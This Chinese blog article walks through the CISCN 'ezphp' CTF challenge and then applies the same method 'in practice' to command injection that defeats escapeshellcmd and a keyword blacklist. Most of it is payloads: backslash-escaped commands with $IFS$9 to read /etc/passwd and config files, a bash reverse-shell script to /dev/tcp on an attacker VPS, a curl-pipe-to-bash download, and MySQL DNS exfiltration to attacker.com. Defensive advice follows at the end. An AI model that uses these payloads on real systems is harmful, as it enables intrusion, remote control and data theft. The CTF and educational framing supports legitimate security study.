从CISCN ezphp到实战:手把手教你绕过escapeshellcmd与黑名单的Linux命令注入

张开发
2026/6/9 3:27:35 15 分钟阅读
从CISCN ezphp到实战:手把手教你绕过escapeshellcmd与黑名单的Linux命令注入
从CISCN ezphp到实战突破命令过滤的Linux注入艺术在网络安全竞赛和实际渗透测试中命令注入漏洞一直是Web安全领域的重要突破口。本文将从一个典型的CTF赛题CISCN ezphp出发深入探讨如何绕过复杂的命令过滤机制构建完整的攻击链。不同于简单的解题步骤我们将重点分析每一步的绕过思路和技术原理帮助读者掌握实战中的高级技巧。1. 理解目标环境与过滤机制首先我们需要全面分析目标系统的防御措施。在ezphp这道题目中开发者采用了双重防护策略?php $cmd escapeshellcmd($_POST[cmd]); if (!preg_match(/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|\*|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\|\|id|whoami/i, $cmd)) { system($cmd); } ?关键过滤分析escapeshellcmd函数PHP内置的安全函数会对以下字符进行转义,;,|,*,?,~,,,^,(,),[,],{,},$,\,\x0A,\xFF单引号和双引号会被转义百分号会被替换为空格黑名单正则过滤禁止了超过50个常用命令和敏感字符包括文件操作命令ls, cat, head等网络工具curl, wget, nc等特殊字符. * ? { }等绕过思路矩阵过滤类型潜在绕过方式实际可行性escapeshellcmd使用未过滤的转义字符反斜杠()未被过滤命令黑名单寻找替代命令或参数php -r参数可用字符限制使用环境变量替代空格$IFS$9可用2. 突破escapeshellcmd的转义限制虽然escapeshellcmd对许多特殊字符进行了转义但我们发现反斜杠()和反引号()仍然可用。这为我们提供了关键的突破口。有效载荷示例php -r print_r(l\s);技术解析php -r允许直接执行PHP代码避免了直接使用被过滤的命令反斜杠转义使得l\s被解释为ls绕过了黑名单检测反引号执行命令并将结果传递给print_r函数输出环境变量技巧当需要传递空格时可以使用$IFS$9替代php -r print_r(c\at$IFS$9/etc/passwd);注意$IFS是Linux的内部字段分隔符变量默认包含空格、制表符和换行符。$9是当前shell的第9个参数通常为空用于确保变量解析正确。3. 构建完整的信息收集链条在实战中单纯执行命令往往不够我们需要系统性地收集信息。以下是一个典型的信息收集流程基础系统信息php -r print_r(un\ame$IFS$9-a); php -r print_r(w\h); # 查看当前用户文件系统探索php -r print_r(f\ind$IFS$9/$IFS$9-type$IFS$9f$IFS$9-name$IFS$9*.php);网络配置检查php -r print_r(/sbin/i\p$IFS$9a); php -r print_r(n\etstat$IFS$9-tulnp);进程信息获取php -r print_r(p\s$IFS$9aux);目录遍历技巧当发现MySQL用户存在于/etc/passwd中时我们需要寻找数据库凭证php -r print_r(f\ind$IFS$9/$IFS$9-name$IFS$9my.cnf); php -r print_r(c\at$IFS$9/var/www/html/config.php);4. 实现反弹Shell的高级技巧在确认目标环境后我们需要建立更稳定的控制通道。由于nc、bash等工具被禁用我们需要创造性解决方案。VPS准备步骤将攻击者IP转换为十进制格式如1.2.3.4 → 16909060在VPS上准备payload文件如ttt#!/bin/bash bash -i /dev/tcp/1.2.3.4/4444 01启动Python HTTP服务python3 -m http.server 80在另一终端监听nc -lvnp 4444目标端执行php -r print_r(c\url$IFS\$9http://16909060/ttt|bas\h);技术要点使用IP十进制表示法绕过可能的域名过滤$IFS$9确保空格被正确解析管道直接将下载内容传递给bash执行反斜杠转义确保bas\h绕过黑名单检测5. 数据库操作与最终Flag获取获得Shell后我们发现Flag存储在MySQL数据库中但面临无回显的挑战。MySQL交互技巧mysql -uroot -proot -e show databases; mysql -uroot -proot -e use PHP_CMS; show tables; mysql -uroot -proot -e select * from F1ag_Se3Re7;无回显解决方案写入临时文件mysql -uroot -proot -e select * from F1ag_Se3Re7 INTO OUTFILE /tmp/result;使用时间盲注mysql -uroot -proot -e select if(substring(f1ag,1,1)f,sleep(3),0) from F1ag_Se3Re7;DNS外带数据mysql -uroot -proot -e select load_file(concat(\\\\,(select f1ag from F1ag_Se3Re7),.attacker.com\\test));实际案例中的发现Database: PHP_CMS Table: F1ag_Se3Re7 ------------------------- | id | f1ag66_2024 | ------------------------- | 1 | flag{xxxxxxx} | -------------------------6. 防御建议与安全加固针对这类命令注入漏洞我们建议开发者采取以下防护措施多层次防御策略输入验证使用白名单而非黑名单严格限制允许的字符集安全执行// 使用proc_open而非system限制环境变量 $descriptorspec array( 0 array(pipe, r), 1 array(pipe, w), 2 array(pipe, w) ); $process proc_open(/path/to/safe/command, $descriptorspec, $pipes);最小权限原则以低权限用户运行Web服务使用chroot等隔离技术日志监控记录所有命令执行尝试设置异常行为告警安全配置对比表安全措施防护效果实施复杂度escapeshellcmd中等低命令白名单高中沙箱环境极高高系统加固高中在渗透测试实践中命令注入漏洞的利用往往需要结合具体环境创造性地解决问题。通过本文的技术分析我们希望读者不仅能掌握CTF中的解题技巧更能理解这些技术在真实安全评估中的应用价值。记住安全是一个持续的过程攻防双方都在不断进化。保持学习保持思考才能在网络安全领域走得更远。

更多文章